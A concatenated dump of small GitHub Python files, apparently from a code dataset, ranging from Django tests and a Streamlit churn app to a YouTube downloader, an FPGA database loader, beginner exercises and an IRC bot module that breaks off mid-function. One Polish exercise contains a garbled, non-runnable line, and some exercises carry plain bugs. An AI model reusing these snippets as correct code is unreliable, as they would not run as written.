200\n\n def test_selection(self):\n\n request = RequestFactory().post(\"/selection\")\n request.POST = {\"user_text\": \"\"}\n view = selection(request)\n assert view.status_code == 302\n assert view.url == '/'\n\n request = RequestFactory().post(\"/selection\")\n request.POST = {\"user_text\": \"nutella\"}\n view = selection(request)\n assert view.status_code == 200\n\n request = RequestFactory().post(\"/selection\")\n request.POST = {\"user_text\": 3017620422003}\n view = selection(request)\n assert view.status_code == 200\n\n request = RequestFactory().post(\"/selection\")\n request.POST = {\"user_text\": 135151}\n view = selection(request)\n assert view.status_code == 302\n\n request = RequestFactory().get(\"/selection\")\n view = selection(request)\n assert view.status_code == 302\n\n def test_result(self):\n\n request = RequestFactory().get(\"/result\")\n request.GET = {\"query\": \"3330720662002\"}\n view = result(request)\n assert view.status_code == 200\n\n request = RequestFactory().get(\"/result\")\n request.GET = {\n \"query\": \"3330720662002\",\n \"compare\": \"4028491400907\"\n }\n view = result(request)\n assert view.status_code == 200\n\n request = RequestFactory().get(\"/result\")\n request.GET = {\n \"query\": \"3330720662002\",\n \"matching\": \"jus d'orange\"\n }\n view = result(request)\n assert view.status_code == 200\n\n request = RequestFactory().get(\"/result\")\n request.GET = {\n \"query\": \"3330720662002\",\n \"compare\": \"4028491400907\"\n }\n view = result(request)\n assert view.status_code == 200\n\n def test_save(self):\n\n # BUILD REQUEST\n request = RequestFactory().get(\"/save\")\n request.GET = {\"query\": \"3330720662002,4028491400907\"}\n\n \"\"\" TEST 1 - WITH UNCONNECTED USER \"\"\"\n request.user = AnonymousUser()\n view = save(request)\n # 302 - REDIRECT TO Signin/\n assert view.status_code == 302\n assert view.url == \"/accounts/login/?next=/save\"\n\n \"\"\" TEST 2 - WITH CONNECTED USER \"\"\"\n request.user = User.objects.get(username=\"dev-purbeurre\")\n view = save(request)\n # 302 - REDIRECT TO MyFood/\n assert view.status_code == 302\n assert view.url == \"/myfood\"\n\n request.GET = {\n \"query\": \"3330720662002,4028491400907\",\n \"matching\": \"pate-a-tartiner\"\n }\n view = save(request)\n assert view.status_code == 302\n assert view.url == \"/myfood\"\n\n def test_del_sub(self):\n request = RequestFactory().get(\"/del_sub\")\n request.GET = {\"query\": \"3330720662002,4028491400907\"}\n request.user = User.objects.get(username=\"dev-purbeurre\")\n view = del_sub(request)\n\n assert view.status_code == 302\n assert view.url == \"/myfood\"\n\n def test_my_food(self):\n request = RequestFactory().get(\"/del_sub\")\n request.user = User.objects.get(username=\"dev-purbeurre\")\n\n view = myfood(request)\n assert view.status_code == 200\n","repo_name":"AlexisFricard/P11_Purbeurre","sub_path":"purbeurre/webapp/tests/test_views_webapp.py","file_name":"test_views_webapp.py","file_ext":"py","file_size_in_byte":3667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34588159110","text":"import streamlit as st\nfrom PIL import Image\nimport pandas as pd\nimport pathlib\nimport requests\nimport joblib\nimport os\n\nst.set_page_config(\n \"Churn Prediction by Ardalan\",\n \"📊\",\n initial_sidebar_state=\"expanded\",\n layout=\"wide\",\n)\n\nclf_path = \"clf.joblib\"\n\nclass CategoryTransformer:\n def __init__(self, maps, col_name):\n self.category_maps = maps\n self.col_name = col_name\n \n def transform(self, X, **transform_params):\n for key, val in self.category_maps.items():\n X[self.col_name].replace(key, val, inplace=True)\n return X\n \n def fit(self, X, y= None, **fit_params):\n return self\n \n def fit_transform(self, X, y= None, **fit_params):\n self.fit(X, y, **fit_params)\n return self.transform(X)\n\n@st.cache_resource \ndef load_model():\n return joblib.load(clf_path)\n\n@st.cache_data \ndef load_sample_data():\n return pd.read_csv(\"sample_data.csv\", index_col=\"CustomerID\")\n\nmodel = load_model()\n\n\ndef main() -> None:\n\n tab1, tab2, tab3 = st.tabs([\"EDA\", \"Modeling\", \"API endpoint(GUI)\"])\n with tab1:\n st.header(\"Overview\")\n st.caption(\"First I started to explore the data and target variable Churn.\")\n st.caption(\"Reading the column descriptions gave me an overall understandng of the data, altough I lack the domain knolwedge to dive really deep.\")\n st.caption(\"First important thing was that the target variable Churn is unbalanced\")\n with st.expander(\"Graph\"):\n st.image(\"images/churn.png\")\n st.caption(\"This information is useful for me to make decision on choice of the model.\")\n\n st.header(\"Numeric Columns\")\n st.caption(\"I decided to look at the distribution of numeric columns\")\n with st.expander(\"Graph\"):\n st.image(\"images/NumericDist.png\")\n st.caption(\"I can see that there are outliers in Tenure, Warehousetohome, NumberOfAddress, CouponUsed, DaysSinceLastOrder and CashbackAmount.\")\n st.caption(\"This is relevant to our choice of model or wether we want to remove these outliers or no.\")\n st.caption(\"Now I want to understand what's the distribution difference between Churn 1 nd 0\")\n with st.expander(\"Graph\"):\n st.image(\"images/NumericDistChurn.png\")\n st.caption(\"Here we can see that there is noticable difference between people who churned and who didn't.\")\n st.caption(\"Tenure is our first candidate for the best predictor of churn.\")\n st.caption(\"The second best predictor seems to the Complain column.\")\n st.caption(\"Following those columns, SatisfactionScore and CityTier seem to show some information about churn.\")\n\n st.header(\"Categoric Columns\")\n st.caption(\"We see here that few categories from PreferredOrderCat, Marital Status and PreferredPaymentMonde columns are correlated with Churn\")\n st.caption(\"Also I'm noticing few duplicated categories in PreferredLoginDevice and PrefredOrderCat\")\n with st.expander(\"Graph\"):\n st.image(\"images/CategoricDist.png\")\n\n st.header(\"Missing Values\")\n st.caption(\"initially it seems that the missing values are completely at random but after closely analyzing the missing values I figured that if I sorted the data by CashbackAMount, we can see it's not completely at Random\")\n st.caption(\"I tried to understand if these missing values are random or not, and since I don't have the context where and how this data was collected and what each column is exactly referring to I can't make better judgement on the type of missing data, I'm going to treat this as missing at random.\")\n st.caption(\"Although missing in the churn column is completely at random\")\n with st.expander(\"Graph\"):\n st.image(\"images/Missing.png\")\n\n st.header(\"Duplicated rows\")\n st.caption(\"The data includes around +400 duplicated rows, if all duplicated rows are in train there will be no issue but randomly splitting into train/test there will be data leakage.\")\n st.caption(\"Data leakage from train to test will give us unreliable and elevated test metrics.\")\n\n with tab2:\n st.header(\"Preprocessing\")\n st.caption(\"I fixed the columns PreferredLoginDevice and PreferedOrderCat, where there were duplicated values Phone, Mobile Phone and mobile.\")\n st.caption(\"I filled the na of the numeric columns with median values and na of the categoric columns with most frequent values.\")\n st.caption(\"I onehot encoded the categoric columns and left the numeric columns as is.\")\n\n st.header(\"Modeling\")\n st.caption(\"I have decided to use tree based models because we want to have simple enough algorithm that can have good predictive power and work well on unbalanced data.\")\n st.caption(\"The data does not seem complicated and number of rows is not high, RandomForest is more than enough to get at least a good benchmark.\")\n st.caption(\"As we shall see that the accuracy of the model is quite high, if we were not getting high accuracy that would be our signal to do more data pre-processing, feature engineering and use other models.\")\n st.caption(\"I made the preprocessing pipeline for training and prediction time.\")\n st.caption(\"I also search through hyperparaters of RandomForest and evaluated the model in 5 cross validation folds.\")\n st.caption(\"For the metric of evaluation I used F1Score because it's suitable for unbalanced data and when we care about equally percision and recall of all casses.\")\n with st.expander(\"Result Report\"):\n st.image(\"images/Results.png\")\n st.caption(\"The results of 0.95 of F1 score is really good, and it seems to me it's too good.\")\n st.caption(\"I believe either this data is synthetic or there is a data leakage that I haven't noticed.\")\n st.caption(\"Usually in reallity models with this level of accuracy are quite rare\")\n st.caption(\"One of the positive side of using RandomForest as our model is that we can sort our features by their importance for prediction of Churn.\")\n with st.expander(\"Feature Importance\"):\n st.image(\"images/FeatureImportance.png\")\n st.caption(\"Here we can see how much each column is affecting the probability of Churning.\")\n\n with tab3:\n uploaded_file = st.file_uploader(\"Choose a file\", \"csv\")\n if uploaded_file:\n X = pd.read_csv(uploaded_file, index_col=\"CustomerID\")\n pred = model.predict_proba(X)[:,1]\n pred = pd.DataFrame(pred, columns=[\"Probability of Churn\"], index=X.index)\n st.write(pred)\n st.download_button(\n label=\"Download results as CSV\",\n data=pred.to_csv().encode(\"utf-8\"),\n file_name='results.csv',\n mime='text/csv',\n )\n\n st.download_button(\n label=\"Download sample CSV\",\n data=load_sample_data().to_csv().encode(\"utf-8\"),\n file_name='sample_data.csv',\n mime='text/csv',\n )\n\n st.write(\"Link to this repo: https://github.com/Ardalanh/NoorChurn\")\n\n# def download_dependencies():\n# images = [\"https://raw.githubusercontent.com/Ardalanh/NoorChurn/main/images/CategoricDist.png\",\n# \"https://raw.githubusercontent.com/Ardalanh/NoorChurn/main/images/FeatureImportance.png\",\n# \"https://raw.githubusercontent.com/Ardalanh/NoorChurn/main/images/Missing.png\",\n# \"https://raw.githubusercontent.com/Ardalanh/NoorChurn/main/images/NumericDist.png\",\n# \"https://raw.githubusercontent.com/Ardalanh/NoorChurn/main/images/NumericDistChurn.png\",\n# \"https://raw.githubusercontent.com/Ardalanh/NoorChurn/main/images/Results.png\",\n# \"https://raw.githubusercontent.com/Ardalanh/NoorChurn/main/images/churn.png\"]\n# for img in images:\n# file_path = os.path.basename(img)\n# if os.path.exists(file_path):\n# continue\n# __download_url(img, file_path)\n\n# weight = \"https://raw.githubusercontent.com/Ardalanh/NoorChurn/main/clf.joblib\"\n# file_path = os.path.basename(weight)\n# if not os.path.exists(file_path):\n# __download_url(weight, file_path)\n\n# sample_data = \"https://raw.githubusercontent.com/Ardalanh/NoorChurn/main/sample_data.csv\"\n# file_path = os.path.basename(sample_data)\n# if not os.path.exists(file_path):\n# __download_url(sample_data, file_path)\n\n\n# def __download_url(url, path):\n# img_data = requests.get(url).content\n# with open(path, \"bw+\") as f:\n# st.write(img_data)\n\nif __name__ == \"__main__\":\n\n main()","repo_name":"Ardalanh/NoorChurn","sub_path":"streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":8756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"41209088389","text":"from PyPDF2 import PdfReader\nfrom plagarism import main_function\ndef convirtToText(path: str):\n output = \"\"\n reader = PdfReader(path)\n\n for page in reader.pages:\n output+= page.extract_text()\n \n return output\n\ndef splitTextIntoLength(string: str, length: int = 500):\n chunk = (string[0+i:length+i] for i in range(0, len(string), length))\n\n return list(chunk)\n\ndef findHighestPercentage(searchList: list):\n peek = 0\n for search in searchList:\n if search[0] > peek:\n peek = search[0]\n return peek\n\ndef searchFromTextChunks(textList: list):\n total = 0\n for chunk in textList:\n results = main_function(chunk)\n total += findHighestPercentage(results)\n return total / len(textList)","repo_name":"satadeep3927/plagarism","sub_path":"lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70728265504","text":"import random\npunkty = []\nfor i in range(15):\n punkty.append(round(random.uniform(0,50) , 2))\nprint(\"Wartość listy punkty: \" , punkty)\nprint(\"Najmniejsza wartość: \" , min(punkty))\nprint(\"Największa wartość: \" , max(punkty))\n\nliczba = float(input(\"Podaj szukaną liczbę: \"))\npunkty.index(liczba)\nif liczba in punkty:\n print(punkty.index(liczba))\nelse:\n print(\"Nie ma takiej liczby\")\nsuma = sum(punkty)\nsrednia = round(suma/len(punkty) , 2)\nprint(\"Średnia ilość punktów wynosi: \" , srednia )\npowyzej = []\nponizej = []\nfor i in punkty:\n if i srednia]\nprint(\"Punkty powyzej sredniej: \" , powyzej)\nprint(\"Punkty ponizej sredniej: \" , ponizej)","repo_name":"NuDavai/Wst-pDoProgramowania","sub_path":"zadanie5.py","file_name":"zadanie5.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"28986812455","text":"import os.path\nimport simplejson as json\nfrom . import grid\nfrom . import tile\nfrom . import tile_segbits\nfrom . import site_type\nfrom . import connections\n\n\ndef get_available_databases(prjxray_root):\n \"\"\" Return set of available directory to databases given the root directory\n of prjxray-db\n \"\"\"\n db_types = set()\n for d in os.listdir(prjxray_root):\n if d.startswith(\".\"):\n continue\n\n dpath = os.path.join(prjxray_root, d)\n\n if os.path.exists(os.path.join(dpath, \"settings.sh\")):\n db_types.add(dpath)\n\n return db_types\n\n\nclass Database(object):\n def __init__(self, db_root, part):\n \"\"\" Create project x-ray Database at given db_root.\n\n db_root: Path to directory containing settings.sh, *.db, tilegrid.json and\n tileconn.json\n\n \"\"\"\n self.db_root = db_root\n self.part = part\n # tilegrid.json JSON object\n self.tilegrid = None\n self.tileconn = None\n self.tile_types = None\n\n self.tile_types = {}\n self.tile_segbits = {}\n self.site_types = {}\n\n self.required_features = {}\n\n for f in os.listdir(os.path.join(self.db_root, 'tile_types')):\n if f.endswith('.json') and f.startswith('tile_type_'):\n tile_type = f[len('tile_type_'):-len('.json')].lower()\n\n segbits = os.path.join(self.db_root,\n 'segbits_{}.db'.format(tile_type))\n if not os.path.isfile(segbits):\n segbits = None\n\n block_ram_segbits = os.path.join(\n self.db_root, 'segbits_{}.block_ram.db'.format(tile_type))\n if not os.path.isfile(block_ram_segbits):\n block_ram_segbits = None\n\n ppips = os.path.join(self.db_root,\n 'ppips_{}.db'.format(tile_type))\n if not os.path.isfile(ppips):\n ppips = None\n\n mask = os.path.join(self.db_root,\n 'mask_{}.db'.format(tile_type))\n if not os.path.isfile(mask):\n mask = None\n\n tile_type_file = os.path.join(\n self.db_root, 'tile_types',\n 'tile_type_{}.json'.format(tile_type.upper()))\n if not os.path.isfile(tile_type_file):\n tile_type_file = None\n\n self.tile_types[tile_type.upper()] = tile.TileDbs(\n segbits=segbits,\n block_ram_segbits=block_ram_segbits,\n ppips=ppips,\n mask=mask,\n tile_type=tile_type_file,\n )\n\n for f in os.listdir(os.path.join(self.db_root, 'site_types')):\n if f.endswith('.json') and f.startswith('site_type_'):\n site_type_name = f[len('site_type_'):-len('.json')]\n\n self.site_types[site_type_name] = os.path.join(\n self.db_root, 'site_types', f)\n\n required_features_path = os.path.join(self.db_root, self.part,\n \"required_features.fasm\")\n if os.path.isfile(required_features_path):\n with open(required_features_path, \"r\") as fp:\n features = []\n for line in fp:\n line = line.strip()\n if len(line) > 0:\n features.append(line)\n\n self.required_features[self.part] = set(features)\n\n self.tile_types_obj = {}\n\n def get_tile_types(self):\n \"\"\" Return list of tile types \"\"\"\n return self.tile_types.keys()\n\n def get_tile_type(self, tile_type):\n \"\"\" Return Tile object for given tilename. \"\"\"\n if tile_type not in self.tile_types_obj:\n self.tile_types_obj[tile_type] = tile.Tile(\n tile_type, self.tile_types[tile_type])\n\n return self.tile_types_obj[tile_type]\n\n def _read_tilegrid(self):\n \"\"\" Read tilegrid database if not already read. \"\"\"\n if not self.tilegrid:\n with open(os.path.join(self.db_root, self.part,\n 'tilegrid.json')) as f:\n self.tilegrid = json.load(f)\n\n def _read_tileconn(self):\n \"\"\" Read tileconn database if not already read. \"\"\"\n if not self.tileconn:\n with open(os.path.join(self.db_root, self.part,\n 'tileconn.json')) as f:\n self.tileconn = json.load(f)\n\n def grid(self):\n \"\"\" Return Grid object for database. \"\"\"\n self._read_tilegrid()\n return grid.Grid(self, self.tilegrid)\n\n def _read_tile_types(self):\n for tile_type, db in self.tile_types.items():\n with open(db.tile_type) as f:\n self.tile_types[tile_type] = json.load(f)\n\n def connections(self):\n self._read_tilegrid()\n self._read_tileconn()\n self._read_tile_types()\n\n tile_wires = dict((tile_type, db['wires'])\n for tile_type, db in self.tile_types.items())\n return connections.Connections(self.tilegrid, self.tileconn,\n tile_wires)\n\n def get_site_types(self):\n return self.site_types.keys()\n\n def get_site_type(self, site_type_name):\n with open(self.site_types[site_type_name]) as f:\n site_type_data = json.load(f)\n\n return site_type.SiteType(site_type_data)\n\n def get_tile_segbits(self, tile_type):\n if tile_type not in self.tile_segbits:\n self.tile_segbits[tile_type] = tile_segbits.TileSegbits(\n self.tile_types[tile_type.upper()])\n\n return self.tile_segbits[tile_type]\n\n def get_required_fasm_features(self, part=None):\n \"\"\"\n Assembles a set of required fasm features for given part. Returns a list\n of fasm features.\n \"\"\"\n\n # No required features in the db, return empty list\n if self.required_features is None:\n return set()\n\n # Return list of part specific features\n return self.required_features.get(part, set())\n","repo_name":"SymbiFlow/prjuray-tools","sub_path":"prjuray/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":6216,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"12055304017","text":"from django.urls import path\nfrom .views import HomeView, ArticleDetails, AddCategoryView, EditCategoryView, DeleteCategoryView, AddPostView, EditPost, DeletePost, AddCommentView\nfrom . import views\n\nurlpatterns = [\n path('', HomeView.as_view(), name='home'),\n path('article/a/detail', ArticleDetails.as_view(), name='article-detail'),\n path('add_category/', AddCategoryView.as_view(), name='add-category'),\n path('edit_category/c', EditCategoryView.as_view(), name='edit-category'),\n path('delete_category/c', DeleteCategoryView.as_view(), name='delete-category'),\n path('categories/', views.CategoriesList, name='categories-list'),\n path('category//articles', views.CategoryView, name='category-view'),\n path('add_post/', AddPostView.as_view(), name='add-post'),\n path('edit_post//', EditPost.as_view(), name='edit-post'),\n path('delete_post//', DeletePost.as_view(), name='delete-post'),\n path('like_post/', views.LikeView, name='like_post'),\n path('love_view//', views.LoveView, name='love_view'),\n path('article//comment/', AddCommentView.as_view(), name='add-comment'),\n\n # test\n path('article/comment/', views.asyncComment, name='async-comment'),\n\n path('test/', views.test, name='test'),\n]","repo_name":"Vinoth-Extreme/bloggyBird","sub_path":"bloggy/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"11782782863","text":"class Employee:\n no_of_leaves = 10\n\n def __init__(self, xname, xage, xcollege):\n self.name = xname\n self.age = xage\n self.college = xcollege\n\n def printDetails(self):\n return f\"name is {self.name} , age is {self.age} , college is {self.college} and no of leaves is {self.no_of_leaves}\"\n\n\nomkar = Employee(\"omkar\", 20, \"PCE\")\n# omkar.name = \"omkar\"\n# omkar.college = \"PCE\"\n# omkar.age = 20\nomkar.age = 21\nomkar.no_of_leaves = 1\nprint(omkar.printDetails())\nsairaj = Employee(\"sairaj\", 20, \"Terna\")\n# sairaj.name = \"sairaj\"\n# sairaj.college = \"Terna\"\n# sairaj.age = 20\nprint(sairaj.printDetails())\n","repo_name":"21omkarsase/python","sub_path":"OOPS/selfInitConstructors.py","file_name":"selfInitConstructors.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36253029601","text":"print('Car game........')\nprint('''Command for game\nstart -> start the Car\nstop -> stop the Car''')\ncommand = \"\"\nstarted = False\nwhile True:\n command = input('> ').lower()\n if command == 'start':\n if started:\n print('Car already started')\n else:\n started = True\n print('Car Started')\n elif command == 'stop':\n if not started:\n print('Car is already stoped')\n else:\n started = False\n print('Car Stoped')\n elif command == 'quit':\n print('game over')\n break\n else:\n print('Command not found')\n","repo_name":"arunvis2001/basics_of_python","sub_path":"while_car_game.py","file_name":"while_car_game.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"20701464503","text":"from tkinter import *\nfrom tkinter import ttk\nfrom tkinter import filedialog\nfrom pytube import YouTube\n\nFolder_Name = \"\"\n\ndef openLocation():\n global Folder_Name\n Folder_Name = filedialog.askdirectory()\n if len(Folder_Name) > 1:\n locationError.config(text=Folder_Name, fg=\"green\")\n\n else:\n locationError.config(text=\"Please Choose Folder!!\", fg=\"red\")\n\n\ndef DownloadVideo():\n choice = ytdchoices.get()\n url = ytdEntry.get()\n\n if len(url) > 1:\n ytdError.config(text=\"\")\n yt = YouTube(url)\n\n if (choice == choices[0]):\n select = yt.streams.filter(progressive=True).first()\n\n elif (choice == choices[1]):\n select = yt.streams.filter(progressive=True, file_extension='mp4').last()\n\n elif (choice == choices[2]):\n select = yt.streams.filter(only_audio=True).first()\n\n else:\n ytdError.config(text=\"Link Not Found! try again\", fg=\"red\")\n\n select.download(Folder_Name)\n ytdError.config(text=\"Download Completed!\", bg='white', fg='black', font=(\"Helvetica\", 15, \"bold\"))\n\n\nroot = Tk()\nroot.configure(bg='black')\nroot.title(\"YouTube Vedio Downloader\")\nroot.geometry(\"600x500\")\nroot.columnconfigure(0, weight=1)\n\nytdLabel = Label(root, text=\"Enter The URL Link of Vedio\", font=(\"Helvetica\", 20, \"bold\"), bg='purple', fg='white')\nytdLabel.grid(pady=15)\n\nytdEntryVar = StringVar()\nytdEntry = Entry(root, width=50, textvariable=ytdEntryVar,)\nytdEntry.grid(padx=15)\n\nytdError = Label(root, text=\"\", fg=\"red\", font=(\"jost\", 15), bg = 'black')\nytdError.grid()\n\nsaveLabel = Label(root, text=\"Select Downloading Path\", font=(\"Helventica\", 14, \"bold\"), bg='purple', fg='white')\nsaveLabel.grid(pady=15)\n\nsaveEntry = Button(root, width=15, bg=\"green\", fg=\"white\", text=\"Choose Folder\", command=openLocation)\nsaveEntry.grid()\n\n# Error Msg location\nlocationError = Label(root, text=\"\", fg=\"white\", font=(\"jost\", 15),bg = 'black')\nlocationError.grid()\n\nytdQuality = Label(root, text=\"Select vedio Quality\", font=(\"Helventica\", 15, \"italic\"), bg='blue', fg='white')\nytdQuality.grid(pady=15)\n\nchoices = [\"High Quality\",\"Low Quality\", \"Only Audio\"]\nytdchoices = ttk.Combobox(root, values=choices)\nytdchoices.grid()\n\n# donwload btn\ndownloadbtn = Button(root, text=\"Donwload!\", width=15, bg=\"red\", fg=\"white\", command=DownloadVideo)\ndownloadbtn.grid(pady=20)\n\n# developer Label\ndeveloperlabel = Label(root, text=\"Thank you! for Downloading with us @-Ranjan's Developers\", font=(\"Helventica\", 15),\n bg='black', fg='white')\ndeveloperlabel.grid(pady=20)\nroot.mainloop()\n","repo_name":"Ranjan2104/YouTube-Vedio-Downloader-GUI","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"70256711583","text":"def method(root):\n\tif root == None:\n\t\treturn []\n\tresult = []\n\tcurrent_level = [root]\n\ti = 1\n\twhile current_level:\n\t\tcurrent_result = []\n\t\tnext_level = []\n\t\tfor node in current_level:\n\t\t\tif i == 1:\n\t\t\t\tcurrent_result.append(node.item)\n\t\t\telse:\n\t\t\t\tcurrent_result.insert(0,node.item)\n\t\t\tif node.left:\n\t\t\t\tnext_level.append(node.left)\n\t\t\tif node.right:\n\t\t\t\tnext_level.append(node.right)\n\t\ti *= -1\n\t\tcurrent_level = next_level\n\t\tresult.append(current_result)\n","repo_name":"UalwaysKnow/-offer","sub_path":"offer/二叉树/之字形打印.py","file_name":"之字形打印.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22667900238","text":"from fastapi import FastAPI\nfrom langcorn import create_service\nfrom fastapi.middleware.cors import CORSMiddleware\n#from pydantic import BaseModel\n#from app.conversation import conversation\nfrom transformers import pipeline\n\n\ncheckpoint = \"../LaMini-T5-61M\"\n\nmodel = pipeline('text2text-generation', model = checkpoint)\n\n#myinput=input(\"Enter your query here - \")\nmyinput = \"who is prime minister on usa\"\n\n# class Input(BaseModel):\n# human_input: str\n\n# class Output(BaseModel):\n# output: str\n\napp=FastAPI()\n\n@app.post(\"/conversation\")\nasync def resp_fun(myinput):\n input_prompt = myinput\n generated_text = model(input_prompt, max_length=512, do_sample=True)[0]['generated_text']\n return generated_text\n\norigins = [\n \"\",\n \"\",\n \"...Your Domains...\"\n]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n","repo_name":"RishikeshMane/llmv5","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1985014701","text":"from django.core.management.base import BaseCommand, CommandError\nfrom shirkers.helpers import fetch, calc_last_month, parse, FetchError, ParseError\nfrom shirkers.models import Company, MissedMonths\n\n\nclass Command(BaseCommand):\n help = '''\nImport companies that have not paid employee taxes.\n\nAlready imported entries will not be imported again.\n '''\n\n def fetch(self, address):\n return fetch()\n\n def import_data(self, address=None):\n try:\n metadata, shirkers = parse(self.fetch(address))\n except FetchError:\n raise CommandError('An error happened while fetching new data.')\n except ParseError:\n raise CommandError('An error happened while parsing data.')\n\n # Don't do anything if there are already entries with same date in DB\n if MissedMonths.objects.filter(missed_date=metadata['ondate']).count():\n self.stdout.write(self.style.NOTICE(\n 'Database already contains entries for this date!'))\n else:\n missed_date = calc_last_month(\n calc_last_month(metadata['ondate'])\n )\n for company in shirkers:\n # First create Company object, if it doesn't exist yet\n comp, created = Company.objects.get_or_create(\n vat_id=company['id'],\n defaults={\n 'name': company['name'],\n 'street': company['address']['street'],\n 'postcode': company['address']['postcode'],\n 'city': company['address']['city'],\n })\n\n # Add missing date for it\n MissedMonths.objects.create(company=comp, missed_date=missed_date)\n self.stdout.write(self.style.SUCCESS(\n 'Imported {} entries.'.format(len(shirkers))))\n\n def handle(self, *args, **options):\n self.import_data()\n","repo_name":"samastur/neplacniki","sub_path":"shirkers/management/commands/importshirkers.py","file_name":"importshirkers.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"7972868562","text":"\n# Report functions\n\ndef count_games(file_name):\n \n with open(file_name, \"r\") as f:\n for value, line in enumerate(f):\n pass\n return value + 1\n\n\ndef decide(file_name, year):\n \n games = []\n release_date = 2\n with open(file_name, \"r\") as f:\n for lines in f.readlines():\n games.append(lines.strip().split(\"\\t\"))\n\n for i in range(len(games)):\n if games[i][release_date] == str(year):\n return True\n return False\n\n\ndef get_latest(file_name):\n \n games = []\n title = 0\n release_date = 2\n result =\"\"\n maximum = 0\n with open(file_name, \"r\") as f:\n for lines in f.readlines():\n games.append(lines.strip().split(\"\\t\"))\n for i in range(len(games)):\n if int(games[i][release_date]) > maximum:\n result = games[i][title]\n maximum = int(games[i][release_date])\n\n return result\n\n\ndef count_by_genre(file_name, genre):\n \n games = []\n game_type = 3\n counter = 0\n with open(file_name, \"r\") as f:\n for lines in f.readlines():\n games.append(lines.strip().split(\"\\t\"))\n for i in range(len(games)):\n if games[i][game_type] == genre:\n counter += 1\n \n return counter \n\n\ndef get_line_number_by_title(file_name, title):\n \n games = []\n game_title = 0\n result = None\n with open(file_name, \"r\") as f:\n for lines in f.readlines():\n games.append(lines.strip().split(\"\\t\"))\n\n for i in range(len(games)):\n if games[i][game_title] == title: \n result = i + 1\n\n if result != None:\n return result\n else:\n raise ValueError\n\n\ndef sort_abc(file_name):\n \n games = []\n games_ordered = []\n game_title = 0\n with open(file_name, \"r\") as f:\n for lines in f.readlines():\n games.append(lines.strip().split(\"\\t\"))\n\n while games:\n min_index = 0\n minimum = games[0][game_title]\n for i in range(len(games)):\n if games[i][game_title] < minimum:\n minimum = games[i][game_title]\n min_index = i\n games_ordered.append(minimum)\n games.remove(games[min_index])\n return (games_ordered)\n\n\ndef get_genres(file_name):\n\n\n games = []\n genres = []\n genre = 3\n with open(file_name, \"r\") as f:\n for lines in f.readlines():\n games.append(lines.strip().split(\"\\t\"))\n\n while games: \n min_index = 0\n minimum = games[0][genre]\n for i in range(len(games)):\n if games[i][genre] < minimum:\n minimum = games[i][genre]\n min_index = i\n games.remove(games[min_index])\n if minimum not in genres:\n genres.append(minimum)\n return genres\n \n\ndef when_was_top_sold_fps(file_name):\n\n games = []\n fps = []\n genre = 3\n year = 2\n total_copies = 1\n with open(file_name, \"r\") as f:\n for lines in f.readlines():\n games.append(lines.strip().split(\"\\t\"))\n\n for i in range(len(games)):\n if games[i][genre] == \"First-person shooter\":\n fps.append(games[i])\n\n if fps == []:\n raise ValueError\n \n maximum = float(fps[0][total_copies])\n result = \"\"\n for i in range(len(fps)):\n if float(fps[i][total_copies]) > maximum:\n maximum = float(fps[i][total_copies])\n result = fps[i][year]\n\n return int(result)\n\n\n\n \n\n","repo_name":"CodecoolGlobal/game-statistics-python-adamborbely","sub_path":"reports.py","file_name":"reports.py","file_ext":"py","file_size_in_byte":3448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"2971104082","text":"from __future__ import unicode_literals\nfrom sopel import module\nimport random\nimport tweepy\nimport time\n\ncurrent_milli_time = lambda: int(round(time.time() * 1000))\n\n\n@module.commands('wammspeak', 'ts3', 'ts')\ndef wammspeak(bot, trigger):\n text = trigger.group(2)\n if not text:\n bot.say(trigger.nick + ', if you already have TeamSpeak 3, go ahead and connect to ts3.everythingisawesome.us - otherwise get TeamSpeak 3 from http://www.teamspeak.com/')\n else:\n bot.say(text + ', if you already have TeamSpeak 3, go ahead and connect to ts3.everythingisawesome.us - otherwise get TeamSpeak 3 from http://www.teamspeak.com/')\n\n\n@module.commands('mirkocraft')\ndef mirkocraft(bot, trigger):\n text = trigger.group(2)\n if not text:\n bot.say(trigger.nick + ', Mirkocraft is dead. Magnum Opis is now a thing though.')\n else:\n bot.say(text + ', Mirkocraft is dead. Magnum Opis is now a thing though.')\n\n\n@module.commands('asie')\ndef asie(bot, trigger):\n bot.say('pls http://puu.sh/bGfyj/488b072f12.png')\n\n\n@module.commands('docker')\n@module.nickname_commands('docker')\ndef docker(bot, trigger):\n bot.say('http://i.imgur.com/syIGxF0.png')\n\n\n@module.commands('selene', 'selini')\n@module.nickname_commands('selene', 'selini')\ndef selene(bot, trigger):\n 